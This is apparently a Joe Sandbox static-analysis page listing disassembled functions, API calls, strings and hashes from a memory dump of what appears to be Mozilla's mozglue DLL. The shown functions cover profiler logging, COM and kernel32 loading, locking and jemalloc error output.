Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4E1FFD
__Init_thread_footer.LIBCMT ref: 6C4E2011
FreeLibrary.KERNEL32 ref: 6C4E2059

Strings

combase.dll, xrefs: 6C4E1FD9
CoCreateInstance, xrefs: 6C4E1FF7

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction ID: e6702fa9680ce75b793fe7058ce0083f8d3425a0553f290eec4ea28777307759
Opcode Fuzzy Hash: b57cd3329e0fccb3480fa59ba7fc28de5f59386f8efde55c0aed59186981f012
Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

CoInitializeEx, xrefs: 6C4E0F36
combase.dll, xrefs: 6C4E0F18

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

kernel32.dll, xrefs: 6C4E0E7D
GetProcessMitigationPolicy, xrefs: 6C4E0E9B

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

<jemalloc>, xrefs: 6C5105FA, 6C51060F
: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
